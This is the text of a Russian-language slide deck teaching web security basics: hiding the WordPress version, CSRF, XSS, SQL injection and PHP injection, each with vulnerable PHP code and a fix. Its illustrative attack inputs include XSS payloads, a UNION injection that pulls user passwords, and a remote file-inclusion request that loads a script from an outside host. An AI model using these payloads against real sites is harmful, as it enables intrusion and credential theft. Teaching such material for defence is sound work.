  • 5. Максим “Arrim” Попов Fingerprint в wordpress В header страницы: <meta name="generator" content="WordPress 4.3.1"> В RSS: <generator>http://wordpress.org/?v= 4.3.1</generator> При подключении стилей и скриптов: <link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-incl udes/css/dashicons.min.css?ver=4.3. 1' type='text/css' media='all' />
  • 6. Максим “Arrim” Попов Fingerprint в wordpress В header страницы: <meta name="generator" content="WordPress 4.3.1"> В RSS: <generator>http://wordpress.org/?v= 4.3.1</generator> При подключении стилей и скриптов: <link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-incl udes/css/dashicons.min.css?ver=4.3. 1' type='text/css' media='all' /> В functions.php: add_filter('the_generator', '__return_empty_string'); function rem_wp_ver_css_js ($src) { if (strpos($src, 'ver=')) $src = remove_query_arg('ver', $src); return $src; } add_filter ('style_loader_src', 'rem_wp_ver_css_js', 9999); add_filter ('script_loader_src', 'rem_wp_ver_css_js', 9999);
  • 7. Максим “Arrim” Попов [название движка] скрыть версию
  • 10. Максим “Arrim” Попов Извините, у нас обед ошибка
  • 11. Максим “Arrim” Попов CSRF CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника).
  • 12. Максим “Arrim” Попов CSRF Метод: logOutAction() [/logout] ... $this->auth->remove(); ... <a href="/logout">Выйти</a> Опасная картинка: <img src="/logout">
  • 13. Максим “Arrim” Попов CSRF if($this->security->checkToken()) { $this->auth->remove(); } … <a href="/logout?<?= $this->security->getTokenKey(); ?>=<?= $this->security->getToken(); ?>">Выйти</a>
  • 14. Максим “Arrim” Попов XSS XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
  • 15. Максим “Arrim” Попов XSS Уязвимый код: <title> <?php echo $_GET['query'] ?> </title> Запрос хакера: <script> alert("HACK!") </script>
  • 16. Максим “Arrim” Попов XSS Уязвимый код: <title> <?php echo $_GET['query'] ?> </title> Запрос хакера: <script> alert("HACK!") </script>
  • 17. Максим “Arrim” Попов Защита от XSS: strip_tags <title> <?php echo strip_tags($_GET['query']) ?> </title> Результат: <title> alert("HACK!") </title> <input value="<?php strip_tags($_GET['query']); ?>"> Запрос хакера: " onClick="alert(‘HACK!’); Результат: <input value="" onClick="alert('HACK!');">
  • 18. Максим “Arrim” Попов Защита от XSS: strip_tags <title> <?php echo strip_tags($_GET['query']) ?> </title> Результат: <title> alert("HACK!") </title>
  • 19. Максим “Arrim” Попов htmlentities() и htmlspecialchars() <input value="<?php htmlentities($_GET['query']); ?>"> Результат: <input value="&quot; onClick=&quot;alert('HACK!')&quot;"> <input value="<?php htmlspecialchars($_GET['query']); ?>"> Результат: <input value="&quot; onClick=&quot;alert('HACK!')&quot;">
  • 20. Максим “Arrim” Попов SQL injection Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
  • 21. Максим “Arrim” Попов SQL injection $news_id = $_GET['id']; mysqli_query($link, "SELECT * FROM news WHERE id = $news_id"); Запрос хакера: news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 Результат: SELECT * FROM news WHERE id = -1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
  • 22. Максим “Arrim” Попов SQL injection $news_id = (int) $_GET['id']; mysqli_query($link, "SELECT * FROM news WHERE id = $news_id"); Запрос хакера: news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 Результат: SELECT * FROM news WHERE id = -1
  • 24. Максим “Arrim” Попов SQL injection Articles::find(array( "title LIKE :search:", "bind" => array( "search" => "%".$this->request->getQuery("s")."%", ), ));
  • 25. Максим “Arrim” Попов PHP injection PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
  • 26. Максим “Arrim” Попов PHP injection eval() preg_replace() (с модификатором «e») require_once() include_once() include() require() create_function() $module = $_GET['module']; include $module . '.php'; Запрос хакера: ?module=http://slider.kz/evilscript